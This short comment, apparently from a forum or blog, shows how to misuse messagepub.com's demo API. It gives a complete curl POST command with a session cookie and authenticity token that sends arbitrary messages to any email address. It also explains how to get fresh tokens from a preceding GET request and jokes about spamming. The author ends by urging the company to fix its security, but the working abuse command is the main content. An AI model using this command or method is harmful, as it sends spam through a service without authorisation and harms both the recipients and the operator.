Just try this : curl -v -d "channel=email&address=EMAIL_HERE&commit=Submit&message=messagepub%20sucks%20I%20JustHackedTheirDemoAPItoSendArbitraryMessagesUsingCURLlolSpam&authenticity_token=1f52274baf9904dd33b012c1a4c1548afd197438" -b _trunk_session=BAh7BzoMY3NyZl9pZCIlM2JmZDg3ZDhlYTZjN2U3MzFkNmMyMWMyNGYxYmQ4YTQiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%3D--2e9b47678c68095440f03ce3b7558712b4fba37a http://messagepub.com/demo/create
You'll have to grab the cookie and authenticity_token from a preceding GET request, as the cookie seems to change from time to time. The authenticity token does not change among successive posts.
Hello spam!
Guys, please fix your security.